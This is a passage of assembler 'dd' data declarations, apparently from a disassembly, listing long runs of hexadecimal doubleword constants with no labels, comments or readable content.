460B341Fh, 0E2158F0Fh, 0EBB7FDD2h, 4EEBD827h, 0A873168Dh dd 8E37E17Ch, 0C55A5B63h, 68AE8216h, 7CCC1249h, 28FE4FDBh dd 9FC0F0E0h, 7A6905BDh, 0FF14D541h, 0B13DBC4Ah, 963A4459h dd 2D070469h, 43287ECBh, 2613F150h, 8A72C871h, 2F9CD427h dd 0F662A5FEh, 72987D0Eh, 0E40EB551h, 6166F580h, 21E943E5h dd 0EE4B31A8h, 9DCD9A87h, 0ED121FD6h, 0EC2E3EF1h, 7263C63Ah dd 0F9E69D16h, 0D5780D20h, 36C52E89h, 59BADA49h, 51A3149Fh dd 3D0ADEBBh, 329FFC6Fh, 4E3BAACBh, 0E0F8950Ah, 0F59A98B7h dd 6EA0283Ch, 58EC12EAh, 0A75304D6h, 0E8BB00A1h, 9573C952h dd 872436F0h, 83523F3h, 5603370Bh, 1FB82EBh, 7A553A07h dd 5565B01Bh, 0F26061A4h, 112100D5h, 3F56BD60h, 31254723h dd 0A31822C5h, 559DEA8Ch, 6CD96993h, 79EC7B88h, 0C39FAD96h dd 2514C868h, 18684FDFh, 221DF1CFh, 0F7805E2Eh, 737738Fh dd 0AFDB26E9h, 901A9594h, 47AAC5Ah, 5AB926CCh, 1851DFBh dd 89855E4Dh, 5F9E36DDh, 0F7ED50F1h, 9486E9FCh, 50530BA5h dd 58122A53h, 0C3313E07h, 9708D826h, 0A4644CFCh, 4CA6F2BFh dd 33311517h, 0C8A17FCh, 0A055D78Ch, 0D1D2FB0h, 2BBD5813h dd 4AB2A0Bh, 13D29C6Ch, 419FA0E0h, 7A836BF5h, 1F2299C6h dd 7D8DB02Fh, 713F2304h, 71FAEE29h, 2821E8D6h, 5E50C1A2h dd 18304BF0h, 4D0218EBh, 0D6E93812h, 0E73FAA5Ch, 9CE82DD4h dd 9C555B25h, 9FAC6BECh, 9D753C75h, 2FA29DDh, 5FB6A450h dd 0C7975C45h, 0AB15940h, 246054BFh, 3335B9h, 9E62564h dd 8B50A0E9h, 0B71DD01Eh, 0C5815970h, 782A65C2h, 6061EA61h dd 0F8EB0804h, 3A8925Bh, 8491602Eh, 0BEDC3A81h, 0B117C628h dd 0C1890030h, 1A66BD57h, 0ABFCFE7Bh, 0D02EAB4h, 75657CC3h dd 7456EAC1h, 9F0025DFh, 2D3C2A46h, 0AD4E92h, 42CA8072h dd 0E3E9D2F6h, 0E443FEBDh, 8026845Ah, 126FB458h, 0E8E91A0Ch dd 0E75C28C7h, 5F17BD7Dh, 26AAD8Eh, 62191BF2h, 0ACC4750Fh dd 0BDF12D4Fh, 0DFD5F22Fh, 488AB5CBh, 264EB7C7h, 177A4CAEh dd 0A3D4BA62h, 132EA6AEh, 38EF6887h, 585EC524h, 5CF328AFh dd 29CE8102h, 820A621Dh, 29EB55F5h, 5664ABF1h, 68CF08A9h dd 89B00549h, 0F5823E07h, 769F0DC4h, 4F5BC21Ch, 123ED6E0h dd 0F0C721C1h, 0A03FC004h, 7354C51Fh, 5A48BA8Ch, 3C680127h dd 0C32960B5h, 805F7F20h, 7917C0B9h, 13A13D6Ah, 0B540B7F4h dd 0D756AF12h, 128E544Bh, 64F6AB92h, 4A748B13h, 1CCF61Fh dd 0B6525B01h, 0E068279h, 7C6FB9E9h, 6BB46027h, 68B778A7h dd 7203378Ch, 2FD8BA3Ah, 30F5395Ch, 2EE02D02h, 0BCF114Bh dd 967F676Bh, 0DC9694Bh, 0DD990B7Dh, 0C979C4A9h, 442E6760h dd 13E7FC61h, 0FEB36F75h, 3391C101h, 0C827886h, 398F1CDEh dd 52AF27F7h, 0C92479EBh, 0EAE8E86Bh, 252E3493h, 3702011Dh dd 0E310E01Fh, 81C4114h, 0BD141CA0h, 0B164A351h, 51AA33EAh dd 7EFEE4C9h, 2448EAE4h, 61F1CAAh, 50047EC8h, 9190E900h dd 0CB890D68h, 7AE59F59h, 90807093h, 0BFD1820Fh, 77459507h dd 93CC9480h, 0C3B85688h, 0B90450CAh, 73A7093h, 71E7C5EFh dd 6AA2E8ACh, 0E24F3B49h, 0ABC0F762h, 4C640D8Dh, 0A7816610h dd 0FA10A85Dh, 0D4B5455Fh, 0EFF50769h, 0A0F98465h, 7507058Ah dd 0E9390F6Dh, 27694FB6h, 90DD37ADh, 0BDF52E88h, 0C989A771h dd 0C016D7BEh, 0F98C0F0h, 5C88E325h, 8CFDCB79h, 0FBB1444h dd 5F4D7A27h, 0ABFC525Eh, 680ED5E2h, 0EA1730CAh, 7512E79Bh dd 884E90C2h, 1A484C7Ch, 142C0167h, 0F2290628h, 0E6B8F21h dd 358B68E2h, 9100F146h, 0B9053670h, 0CCFDEF0h, 7B96E91Fh dd 6816502Eh, 4D8F0126h, 0A9E95804h, 829AAE77h, 5200E45Dh dd 0AE5EA7BAh, 424B4A15h, 0D2A37EA0h, 13F61313h, 4FDACC1h dd 5D5E9D7h, 675E21AAh, 52F323Dh, 0F3B79C83h, 0E9BAC0BAh dd 0C5B7E661h, 9B12A77Bh, 729085DCh, 84906816h, 0A6A7BA17h dd 7D11E90Ch, 0C760010Ah, 0F02F6B6Eh, 0C9EAC93Ah, 0D9D60929h dd 167E8238h, 91D60167h, 0E3C7BB37h, 0DCACED92h, 0FDF38100h dd 43651719h, 5DEF4B5Bh, 9F75C504h, 0A005BAA8h, 35D1E455h dd 0E74058C3h, 5B6025B7h, 0DA74E03Dh, 5CC29F2Fh, 685E4011h dd 469710DDh, 2CE91296h, 6B31A59Ah, 0B57624A2h, 908430DAh dd 27FC514Eh, 648431B4h, 0B7810444h, 9B96362Dh, 9B6200C6h dd 53665E06h, 5C5EE890h, 0E4D124EAh, 6BD25F96h, 6BC7E5AAh dd 8AC27B5h, 0BB9617E7h, 0F9CBF0D3h, 0CB84C8Ah, 7BA8460Ch dd 0A203ECF6h, 95E9DA18h, 5B0A873Fh, 0E07A5B51h, 4D5EE9A8h dd 0F8287502h, 0D100C366h, 0A87A61D4h, 35E4E159h, 191F402Bh dd 0C128430Dh, 1207E730h, 2A4E4FCh, 0E9FB014Ch, 39812EFEh dd 1B33E36h, 0E0056BCDh, 6669C881h, 5E1272EDh, 9D22FB41h dd 51045702h, 69CBEF05h, 45BB5301h, 206FD35Ch, 3D1B0B10h dd 0A00C4270h, 902BC0A1h, 283A1227h, 0B775E058h, 4EF47A1Bh dd 2E488024h, 131916Ch, 9301B3C3h, 5EE36AFFh, 0BF8AA412h dd 511CDDB7h, 0B74B388Bh, 0BE9C20Fh, 78417A93h, 0FC22506h dd 3E62C5FCh, 19E80A65h, 3F5A37D0h, 5078C3h, 8E120EF0h dd 0DCEE979h, 0E489F391h, 0FC69F278h, 58C8957Bh, 408034EDh dd 0D3871B93h, 0C3B40642h, 1A27A1FBh, 8ABA575Dh, 38535E40h dd 0E611742Fh, 0E0C13015h, 0ED350607h, 0A3387F04h, 0F281C789h dd 5D2AF378h, 0D257CA9Bh, 80E28096h, 0F67A90Dh, 99748EEh dd 164676F7h, 8A38C199h, 51FAC8EEh, 0BFC4E697h, 0A64ED75Eh dd 7B2CB077h, 0F06495Bh, 7FCC5F27h, 0DB5F2A69h, 7E680B32h dd 851935E8h, 8C9B76B7h, 1B5D0F4h, 2D1DF073h, 5ED91A94h dd 0C400E812h, 5B2FE93Eh, 9D46C860h, 267C7EF6h, 8238C229h dd 68285DD6h, 6E44605Dh, 11608245h, 326F881Eh, 0D77F4336h dd 8E2023Dh, 31602C1Ch, 70409EC1h, 0C4B2C8F8h, 27B20D05h dd 0ED0453A1h, 500A2B4h, 192212Fh, 193CFC95h, 6667C0DEh dd 3F351969h, 0F83AE811h, 0FDAEA49Eh, 84B0D40Bh, 0B5A4F667h dd 604C2C5Dh, 41EB1667h, 13685326h, 0B7B72C70h, 143C1D2h dd 62497FE9h, 0CCA00037h, 5D570BBFh, 0EE12C75Fh, 143A134h dd 1795E3EFh, 0E96DE408h, 3B4F28E1h, 26C255Ch, 775B543Ah dd 0D088D3EDh, 432C0F7Ah, 39682281h, 0C4686848h, 2DEB8196h dd 0EBBC3007h, 16A47116h, 84C50EBh, 8EF7E909h, 0FA7B25FEh dd 844D54F8h, 0AB342859h, 26B13E2Ch, 86EF80D6h, 0A4C288Dh dd 13C644F2h, 20F98A59h, 71B5BC77h, 109B245Dh, 0A7B35E91h dd 84D43BD8h, 556C3081h, 2D174077h, 3137121Ch, 4F693541h dd 93306307h, 0A5453C7Ah, 6706C041h, 75B76158h, 0F381B0B1h dd 96B44915h, 0BF40806Ch, 4E3FF2B1h, 4155A959h, 12FC7908h dd 79EC982Ch, 6A5A0196h, 0F82D6C33h, 0CBD76994h, 31CEDDBBh dd 68016E73h, 1CEF8A0Fh, 0B297EE05h, 0D19024F4h, 2C6D629h dd 685FDAC7h, 0E9B04A9Fh, 0E72CF235h, 84104C20h, 103B512Eh dd 0B3B8025Eh, 0C0200F30h, 42129C8h, 17E9551Eh, 3950A9F6h dd 0EBB95EE8h, 312FA658h, 2D643B79h, 2E28A4EAh, 1EDADE54h dd 69E12F6Fh, 9A35F8B6h, 8D2C60FFh, 0E74D44B9h, 5C9531E4h dd 4C743F0h, 0E96950E8h, 1233A325h, 53808462h, 11640500h dd 50952D1Dh, 19F20A6h, 8178D176h, 473E22FAh, 2A6F9345h dd 0B18460A9h, 0C474EC41h dd 0CEEE4022h, 9ED84E4Bh, 5C3D5D5Ch, 685AD005h, 25F4F309h dd 76EF7550h, 7730A1A7h, 7F68CC5Dh, 0ADF5F602h, 83F410E9h dd 82431D26h, 6D6F4963h, 0B146AE4Fh, 301B57F9h, 0B04259CEh dd 894E4888h, 9B7031D1h, 29789BA5h, 4BEC020h, 5127ABBAh dd 0D111C47Ch, 0DE575B46h, 0E97492E2h, 0C48EB789h, 0BB19887h dd 7D172E03h, 77C05AF4h, 17359E59h, 2E2C1h, 2EC0C22Ch dd 0E9261C9Bh, 5880806Dh, 875AD101h, 8576B50Ch, 575453C2h dd 0D741FBB2h, 0B17EA0ECh, 97583E20h, 0F8AA295Fh, 0FCDAA0BAh dd 0F2755C47h, 768BE305h, 0BD8E09D3h, 0FE031150h, 516653C9h dd 0EF88A9B5h, 0E8C04A30h, 0CF801906h, 0D8DC0636h, 6B809EC7h dd 0F1C1B530h, 80FF04ADh, 17B5762Fh, 4A34AB5h, 48885D08h dd 2F73607Bh, 0DF35F8C3h, 4051B4Ch, 3041197Dh, 8EA0DD7h dd 68515202h, 0BC60F92Bh, 0D6555D05h, 41BE0C46h, 0F060F4F3h dd 0EE6FF35Bh, 29A61FD3h, 4E9756DAh, 1ECB497Fh, 25C29FACh dd 27391097h, 0EAE08350h, 87170F58h, 8045CDB6h, 31BB0DECh dd 2C504Ah, 166A6857h, 0C13B9C6Bh, 0C4943591h, 49AC463h dd 5A100114h, 48991732h, 85DC8BEBh, 0B8AC64E9h, 56A2234Ah dd 0F7E839DAh, 2828D704h, 9E272EC6h, 1D785917h, 0B1EA1252h dd 4A357C78h, 4A0281FFh, 7FD37AE2h, 41BBFD52h, 0FDBF6CAh dd 4046E52Ch, 37A698E5h, 0C529AC26h, 87C70109h, 0BFA18BC7h dd 6220422Ch, 2A509505h, 7199CA07h, 0EA607532h, 5B486B24h dd 0A8D6C47Ch, 3811B10Ch, 50CC004h, 4DFC6A2Bh, 88D42EEBh dd 52858AFEh, 4CD32083h, 2F27749Ch, 97925759h, 0A46E37A1h dd 37318516h, 0B3F7166h, 750D0B05h, 0C60EA38Fh, 98E4312Bh dd 46440245h, 0B39CEC1h, 0FAE91E8Bh, 705F87EAh, 85907F26h dd 158FE904h, 5461ECE2h, 3F1F7E35h, 187448A0h, 0C26FD4Ch dd 0D918A668h, 946089A2h, 1D39770h, 0A7E56DAFh, 8130C1h dd 7E73C2BEh, 0EEC116CAh, 0E416FF07h, 0C218D4A6h, 2EDAF40h dd 494FD271h, 0DAC30592h, 50592707h, 2D8F465Dh, 0C24F3F04h dd 5E56A08h, 0AE78685Eh, 0E2CDBCCDh, 6386EC39h, 5012C8Fh dd 51031EFBh, 53F0E0D1h, 2D4B7ACh, 0E324EBA4h, 40B07DADh dd 19E133ACh, 8159C220h, 55DC8247h, 7F6C7F28h, 8712FF8Ch dd 494894EEh, 984C385Dh, 3F187898h, 23EB0103h, 26E9D501h dd 0EC05094h, 1F037116h, 0DA3A312Dh, 1AA0F94Dh, 0AD390C32h dd 0D3CCC29Eh, 89BAC3D3h, 0AEF685DDh, 0F0FE1894h, 259E9F1h dd 55681DE1h, 0B138269h, 0FE2ECFCDh, 8C687B49h, 5B7E27D5h dd 0C82DFF95h, 0C2DC9F20h, 9D68E179h, 0FE97C655h, 0D1425E28h dd 6AB1957h, 692519FCh, 6AEFA2D5h, 0B4E68E8h, 30C88BF3h dd 0CFBC4FACh, 20B8D8E9h, 306191C7h, 0D9885166h, 60493C60h dd 80C9334Ah, 647A8221h, 5DAE8FBDh, 5329500Eh, 2CC22700h dd 0B65BD557h, 0B008A082h, 62A13170h, 0D8BDF749h, 0F0E6984h dd 1C3A668Dh, 60B9712Fh, 0DD1ABBFAh, 7B0548B4h, 50EB6275h dd 8052089Fh, 4FD6F510h, 4B2CDEF4h, 8AB2914Eh, 5A805189h dd 5B490758h, 214C165Bh, 7AD8CE30h, 397CC127h, 79B2BF0Eh dd 0FF4832D7h, 0D4972C6Eh, 0D8308B38h, 0EF804D84h, 0BDAFFF74h dd 0B59E4873h, 0DE050A52h, 1BA21E42h, 0B8B30D84h, 2ABD9304h dd 6F7E4BA1h, 0BFE1E889h, 0E96E7EFEh, 0E9069745h, 4F387980h dd 501B4BBh, 3A115695h, 1B1EABCAh, 258255A5h, 556ACFE9h dd 0A9B2D9C0h, 522F8A92h, 48C4D1Dh, 0E27AF8E9h, 0D1F716C1h dd 0B3A58CEEh, 67F8B65Eh, 60D44592h, 0FA6D9597h, 0AA611A02h dd 54CC612Bh, 5EE2EF04h, 0E655A79Eh, 84AB51FFh, 0C920AD2Bh dd 0CBA1D621h, 5C97F8F8h, 0FB77FA3Ch, 0B068413Fh, 55375238h dd 51A8D640h, 0BD2F1D02h, 40256BDEh, 0B73D7FE6h, 22F9DE22h dd 345B6600h, 0B277FECDh, 0C2D3B77Dh, 5840A892h, 2456F581h dd 60E760Dh, 4705F3CDh, 491F0C2Ch, 0B60F463h, 10486D4Eh dd 0E02DFEDCh, 9AB2708h, 8130E912h, 263CD779h, 0DDAD6F66h dd 0BF1F9802h, 0C4E97C55h, 0CE3691D3h, 5F0C122Bh, 6EB07D34h dd 2AA47232h, 0C3545721h, 808FD858h, 3338DBB9h, 0C1FFCA0Bh dd 3D353999h, 130407ACh, 18B3038Bh, 593017C7h, 2EC71C28h dd 0B5742588h, 1C3C010Dh, 0CE38A6Eh, 8E9CC884h, 0F246BD2Bh dd 11AC6812h, 68E7DEECh, 9685D82h, 47735428h, 50709052h dd 0E69D0E92h, 0EAC128D2h, 75CD49A5h, 3A13724Ch, 0F921AA86h dd 9C3B2F02h, 0F7488B79h, 0B6AF04CCh, 7584AE8Ch, 6E11B1AFh dd 69D10F1h, 2C8067E9h, 0E72203B8h, 5E231E48h, 7CBE7907h dd 0F653FBA2h, 7D570E60h, 820CC1CDh, 33285D12h, 930B5E2Eh dd 5E7DA89Ah, 0A2C433CAh, 0B501162Fh, 1CB75B30h, 135FB081h dd 3B434858h, 1616E5A4h, 0A8F87FAEh, 0E95F0B01h, 82F3E24Ah dd 908B573h, 747E0957h, 0D0218F8Ch, 0B37D74C5h, 0F3C01888h dd 1362F775h, 0B8E18596h, 0CD45101Ch, 13AB5D2Ch, 4A991BCh dd 0D8550F6h, 4313BF7Ch, 13BAEED1h, 8A61EE1Ah, 387F3588h dd 0CFE5C54h, 6DFA4C5Bh, 2FA36ADCh, 0E87CD95Ah, 6E5DBE7Ch dd 0BF066857h, 731FCD07h, 0EDC61AA7h, 9CF50412h, 8207FE2Bh dd 0B1715DEBh, 580976A5h, 958E6752h, 3D29B0D1h, 5507ED09h dd 8EA43098h, 0BC604A81h, 7CE50C3h, 0C171718Fh, 51C0C626h dd 60E63F5Ah, 0AB722312h, 0A3B50E3h, 0C426AD5Ah, 0B90045C3h dd 8E062225h, 6F4ABBF4h, 9C836191h, 8D350C81h, 6AA2F5F8h dd 403FEDB0h, 0CF39809Dh, 0F6EF9D74h, 16D0C794h, 0A3F25BFAh dd 1EADC2C6h, 16FA9CD3h, 0A109A910h, 0E67A0201h, 0CB582605h dd 4E320916h, 437C7D53h, 0A4BA48C5h, 8049B91h, 0D5013CE2h dd 81BD484h, 2B4E901Ch, 350CC141h, 719633h, 5E867891h dd 4103ED6Eh, 140CA008h, 63B9511Ch, 0B7B28C9h, 0C6350429h dd 0F80516FEh, 0FCF7A3D5h, 68822AE2h, 0B8793F3Bh, 756AE986h dd 34EF07BDh, 0B62ED2B7h, 0FE2429DCh, 0D72501C0h, 0B3531580h dd 0CB508054h, 0E92CDBBDh, 5D8C3FDDh, 28C24456h, 29F2327Ch dd 4FB7D727h, 0ACAC6564h, 0D701C9A9h, 514E4B5Ah, 0E9B19AA2h dd 51162F0Fh, 83D625E6h, 0BADCC6D1h, 0D81D1D32h, 0F8312619h dd 9E1080h, 0BA6712BDh, 0B1EA2942h, 0B10C634h, 6805ACB6h dd 7DAC024Bh, 0F3149CEh, 447FFEC2h, 34BA5E05h, 239FC018h dd 645AE61Ah, 0FE8494E9h, 808CEB11h, 267E7BF7h, 8FFDE025h dd 0F16208B1h, 6EC228B4h, 64937B87h, 5E8BE3F8h, 6884EEADh dd 7F32B44Ch, 804A7D60h, 0E7C012E7h, 0F2EF508Ch, 72CB4706h dd 35CB05B5h, 7EE7CDBAh, 7D1212ECh, 1AB58C7Ah, 91737F2h dd 0E5110F48h, 1884EB1h, 82245AE9h, 8F405F89h, 81D330FCh dd 0C1FEB206h, 3D9C780Ah, 0E52C38EEh, 95F14011h, 64BE371h dd 9D7478FCh, 43833DA9h, 6AE2621Fh, 7669BD60h, 50724F36h dd 0E908801Ch, 0F95C4A97h, 0CBEFA568h, 84D72DC5h, 0A4AF296Fh dd 0CBBE4BADh, 52BBBA17h, 8189BD0Ah, 2F580E81h, 13F9E7D0h dd 0AE056B5Ch, 4EF21F80h, 80485E8Dh, 361BE7E0h, 7319226h dd 49C1BD02h, 54077FF0h, 6B589005h, 0F828017Ch, 5F5F072Dh dd 4564B0h, 5A20C650h, 0ABE9C801h, 0CE28D59h, 48774441h dd 355F00F8h, 38F531B4h, 0FC137D05h, 9845B1E3h, 60AF6B3Eh dd 4F5C6824h, 4BFD3BE1h, 0B87E71A5h, 9768EDAh, 0ACC1E6CFh dd 67450385h, 412D6AAEh dd 2AA0B5Ah, 709BE97Fh, 82583E76h, 14FF82C3h, 4E12C17Eh dd 2A6EA413h, 8043494h, 24FE535Dh, 588CBF9Bh, 0A6D2EE9h dd 0A5858597h, 575B8CFCh, 0EC1A926Eh, 0FF250B2h, 3AD906E0h dd 0F9288EE3h, 0D4E92C17h, 0C2AB1F53h, 77C8663Ch, 3204F0BBh dd 0DBF72623h, 5CA22380h, 0C186040h, 793E0827h, 28BA294Bh dd 0E9175215h, 89ABFEDEh, 8B71302Ch, 0B8F02988h, 0CE4F49A5h dd 8222F35Ah, 0D65E72E9h, 0FDA79F1Ch, 4F72527h, 34EA0DB5h dd 0E3DD5344h, 0D8FB924Bh, 51172AF2h, 2F01427Eh, 68B3280Fh dd 282B2C70h, 0B0E4FF79h, 0B6E927FAh, 65DFBD8Bh, 39933FC4h dd 4E4BCEB4h, 2BD031BFh, 0D80BC211h, 29C10B48h, 0CC413603h dd 500294Bh, 0DC981A14h, 521943BCh, 7EEBFBF4h, 583032A5h dd 10E9EE1h, 0CF1ECDBEh, 0BFE4EB5Fh, 0D9392CF9h, 99361CCh dd 16F70294h, 71C220B2h, 8EAC01Ch, 0CABFE2D2h, 45B3008Bh dd 0E9B0C380h, 56694EF1h, 88079482h, 6D402617h, 0E0C67B80h dd 4A76F4E6h, 0F25E463Fh, 0C77BCD95h, 21320705h, 84C2EF29h dd 366802BEh, 0D59DAA50h, 45252915h, 59540909h, 1AD19200h dd 0E9180E0Ah, 0EE7549D6h, 4B2572AFh, 0FC4BB2Ah, 0DEB30817h dd 7A16E1D4h, 855F21Eh, 3E1D0768h, 91D40392h, 7086021Eh dd 15D63436h, 55017DF8h, 0E2C11488h, 985D2004h, 41135AEEh dd 0BCB12CE9h, 0EB11D42Bh, 0ABB565ECh, 0BCC24CD8h, 77D02DE3h dd 48317D58h, 2AA95E89h, 415A298Bh, 33927DB0h, 0DC9703B2h dd 6BE9D008h, 62AE9F5Eh, 0E0DD5C39h, 0B5A6869Bh, 5498AD9h dd 48AC98C4h, 0BCCDF584h, 64BF8492h, 1E800F02h, 9B05F848h dd 25CDC213h, 5DC804BFh, 0A7F81722h, 9D774086h, 0A547ED38h dd 3D6F549Bh, 8FCFA880h, 2D5EF529h, 0EE065409h, 8165F801h dd 7AF45D07h, 7D333F7Eh, 0C2F03Eh, 79685351h, 1A7F8B19h dd 0AD9780E9h, 0C0BA8Ah, 0F7C3635h, 9BAA9B89h, 0F46530FFh dd 0CC888049h, 49C0DEB7h, 5752A57Eh, 7E728B74h, 9BC74486h dd 17FD5861h, 0C0ACE8E9h, 0A0E7BD5Eh, 2262548h, 680B3153h dd 98576D35h, 0BF38527Eh, 964261D6h, 3AFA9043h, 53212F0Bh dd 0B190BA50h, 0D7F2ECC0h, 0C026B201h, 42E0F0Ch, 0E92D5163h dd 54AD61B0h, 0F238A83Fh, 9273F75Bh, 9B472C2h, 0FAF46C7Fh dd 289DB41Dh, 0D0D99553h, 0E96239C8h, 5BE7D85Bh, 2D29EE5Ah dd 5FE2C82Ah, 2C4AB2ECh, 4F5AF523h, 638FE0B1h, 3F5BFF82h dd 12230308h, 6B79B030h, 0B0FE8E40h, 9D0CEC13h, 47D5DB89h dd 685A07F4h, 95771B52h, 31E985DAh, 2E8F9983h, 0BEA021BDh dd 0AE2A68C8h, 5465782Fh, 45EB5AD3h, 0AC2E57CEh, 5919C026h dd 5FE961DDh, 45A7A467h, 0B8E850E4h, 48B9723Ch, 59A41FB8h dd 4BF7F867h, 0F9E5A43Dh, 5E372152h, 0B73E8E8Bh, 0E8FE9DF0h dd 0B17D1551h, 6ED0C302h, 9EE23D54h, 0F7D3225Fh, 0A7A7F47h dd 0B07EF26h, 35EAF913h, 0B58B05AAh, 3580EB44h, 97516AE9h dd 73973CC6h, 2A13891Dh, 953996DDh, 0FF2D2AE7h, 0CEC7C99h dd 489960BBh, 0E7C0DCB7h, 890D3CFBh, 8A270528h, 4A567C91h dd 5D53FFC2h, 5B4C40B9h, 0B594AD07h, 0C712B3F9h, 563C5921h dd 0D06B132h, 0A060E786h, 0AA2AE3CDh, 9D937338h, 0B805CA09h dd 0EDD0A186h, 6EAC65E6h, 29B848BCh, 65AA245Fh, 71638044h dd 3F092670h, 76D5E992h, 0CFDE9BD3h, 40966D1h, 1FAD8780h dd 81440275h, 0D21DDBC1h, 4F86FAE0h, 5B623BB1h, 0A0E6757Ah dd 1239B44Ch, 9EB8278Eh, 47256DB6h, 55D2113Dh, 0B7D1A220h dd 85687298h, 852F39Fh, 8001875Fh, 0D388F4C2h, 52CC6422h dd 6527E9F7h, 0FC93686Ch, 800CC220h, 6DE1B3E6h, 840C9FB7h dd 0A065D88Bh, 0B213EDC2h, 0F933B81Ah, 0AB070DAFh, 8D20D468h dd 2F036A8Fh, 0E8316137h, 3D9ECB05h, 0B0CAECCEh, 72136793h dd 4AB12243h, 0D9E40705h, 2F6241A6h, 0DF3216C7h, 2F67DD5Bh dd 4105E909h, 93E211Dh, 8A5280F0h, 0D374FCFDh, 0B588F6BEh dd 6C568BA3h, 4BC93E48h, 0FF83FD82h, 25188BA7h, 20636F17h dd 4739737h, 69016884h, 276BB9CDh, 801DF806h, 0CB884B83h dd 0E9DD8359h, 443F5F4Fh, 4CCC3Ch, 1F5568BBh, 691EF47Eh dd 31DF5145h, 0BD2A0170h, 0D381238h, 0E0D1A632h, 31CFB0Bh dd 820F7E0Eh, 0BF1AD5ACh, 0F70A43B1h, 5D888573h, 975128A9h dd 1426F874h, 13681208h, 607E8DADh, 4217C94Bh, 882446Eh dd 42034368h, 0E002852Ah, 5D78100Bh, 7A7373C1h, 307D748Bh dd 0C679BAB9h, 0D324C0E3h, 0DD01A4EFh, 297C185Fh, 6894E045h dd 0FAE90A02h, 1E714640h, 0CAD88850h, 0BCDA340Fh, 0DE52C31Eh dd 129AC9DAh, 0FDEFA0D1h, 985B1F13h, 0BFDAAA8h, 20EC165Fh dd 68163549h, 0FFE3438Ah, 504442D3h, 0D7FC1FE9h, 0CB4023Bh dd 57D7B151h, 1903CB0Ah, 0D86F0691h, 0C8B0A8C1h, 6B5AE3A9h dd 7885E004h, 3B61FF16h, 842087B2h, 6C8BC42Bh, 0B38B1E03h dd 7CA533E2h, 0F9FB5A31h, 1EC31427h, 665B1294h, 0E973CC0Fh dd 754C29A5h, 0EEF4A5CCh, 91F349BDh, 7B80EA05h, 8353368Ah dd 4638BB98h, 0E95E730Bh, 50220A3h, 4952768h, 3B830F76h dd 0C5C8EAB1h, 75CFAAAFh, 0C1C6C540h, 13884A5Ch, 85005C87h dd 4935CF81h, 0C266146h, 0DC8815C0h, 0B318D0Fh, 4A259176h dd 0F5F3AE04h, 48905C33h, 314542A8h, 0DF5AC79Ch, 2917F07Bh dd 7F3460B1h, 2F672B68h, 0E7E941EBh, 0CCFD7A5Dh, 0BAF9D69Eh dd 0D3EB5349h, 0E28D9FD4h, 315FF80Fh, 53125EC1h, 13630490h dd 0F9424F23h, 5812751Bh, 4EE6907h, 129D2659h, 21B0D790h dd 0F5C1BD72h, 9D442B3Eh, 88019AF7h, 0CE3059EEh, 5CA932FFh dd 0C5BE0888h, 2E6C107h, 0D506693Fh, 0B4852603h, 0F031AF90h dd 8BF15990h, 537F1CFh, 5BB7F9Fh, 0F92BA85Dh, 36EB02B4h dd 5FFB1F67h, 0ABA94FE2h, 5980EC03h, 230533F0h, 3E601202h dd 0DCAB810Fh, 0D6C282AEh, 0E05DBD0Eh, 0C1A0E9C9h, 56EAB696h dd 923F6968h, 0C827EBBDh, 0EE5C6105h, 688235E2h, 0D1E60209h dd 0FA4EDD90h, 0F6AEB884h, 1D961096h, 40DDED77h, 548BF138h dd 42F4978h, 2383201Fh, 0B871B94Ah, 0F7E4F9CCh, 2E8A0320h dd 3A83E905h, 6B684A17h, 1C8B075Eh, 0E9BE7EFAh, 21A6A600h dd 23B02C41h, 2496DB20h, 201F501h, 49293291h, 361E4B54h dd 62BD92ADh, 81745C35h, 6468A4C2h, 0A773201Ch, 31B57F05h dd 76F4DA01h, 661625E9h, 0C8889259h, 27BD28CBh, 0EFD2D8FAh dd 5F0B0571h, 753A0F20h, 714E670Eh, 49388EE2h, 25A2CC55h dd 4F850BE9h, 0D833EA59h, 1F1A20FEh, 53ED8105h, 1FAE875h dd 0F85A4FA7h, 13927818h, 1FCA4E9h, 9138AA4Eh, 558E2D68h dd 0F12533C6h, 0EA70A043h, 9FEB73AFh, 5EC2E4F6h, 5BD97531h dd 2D9E043h, 6DAAC597h, 63FC6CB4h, 352EB08h, 0AF71E957h dd 78FCEFB4h, 6838E9ACh, 38FF5A21h, 6F985864h, 2A9BB0Bh dd 5FE30209h, 0DCC5B185h, 0BECFC46Ah, 4A05B468h, 3B6D2D3Dh dd 17AAAE84h, 4F98FB93h, 401C412Fh, 4F2D6BBCh, 0D40B1573h dd 84342B0Ch, 92186439h, 44D48212h, 38062666h, 1B0B6828h dd 7DFF63DAh, 2E5C9F99h, 0E9B638EAh, 521BF630h, 6052FA29h dd 72BA3081h, 0FEA1478Eh, 0EE0744F7h, 5475C3A9h, 0B7668757h dd 0CD4F7552h, 0A08165A8h, 3B121173h, 77F0CF90h, 46760214h dd 0FF2492E9h, 7B209472h, 5FB2F88Fh, 2DDB981Bh, 10D9025Ah dd 53C6903Ah, 512479B3h dd 8609B1B5h, 93307B1Fh, 0E27D0421h, 0B835FF72h, 949BE6AEh dd 4C2B1021h, 0EF2A202Ch, 0FF7329A5h, 949A97E2h, 0D50C8975h dd 0E52FB0F3h, 2ADA2841h, 1C0978C2h, 17847168h, 0D602BC1Fh dd 212D19ACh, 681ECEC1h, 0CF285FBFh, 3B7445E5h, 0A8DC75BEh dd 13D084E7h, 0EACFE902h, 58C6F5A2h, 427A640h, 5D08A626h dd 882F928h, 59788161h, 65BA3BBDh, 7650013Fh, 3A795F22h dd 481C28B9h, 0D15D850Dh, 60F7C029h, 175F6902h, 9F2005F0h dd 0DC5F91E2h, 249F5432h, 9BB05B7Dh, 9DAD70B0h, 0EA88C4E0h dd 395DF2FAh, 40995D19h, 835DA297h, 71FD10A2h, 4392543Dh dd 7C28FE3Fh, 61835BABh, 3B3D68B3h, 0C80430FBh, 217DF652h dd 0D47882Ah, 0C9977195h, 33F21090h, 0DE09AD13h, 5DEA0912h dd 0E8625391h, 27F746D4h, 0A454C109h, 0C1006322h, 7B2B30F2h dd 42D0F901h, 33A55A08h, 163B5DE5h, 6E8FBFE9h, 68660860h dd 9C9179DFh, 1EFE986h, 3DC20669h, 0C0BA251h, 4FBFED01h dd 8806E9F7h, 0DAB6228Eh, 0E889B7E5h, 44A2CF4Fh, 28BE80D4h dd 4A94BF56h, 5297D726h, 31F2A1FCh, 584025DFh, 6205F209h dd 40477E16h, 5C61F32Dh, 0AD686038h, 9DBEC36h, 1110671h dd 402D2169h, 5AD9680Ah, 73D17A4h, 4932011Ah, 0D6F38F0Fh dd 0C60D9C3Eh, 5018C216h, 2F2E2DAFh, 416558B0h, 1F186E19h dd 287D21F4h, 36F54018h, 0C8260D1h, 44C6C109h, 5E23C4B1h dd 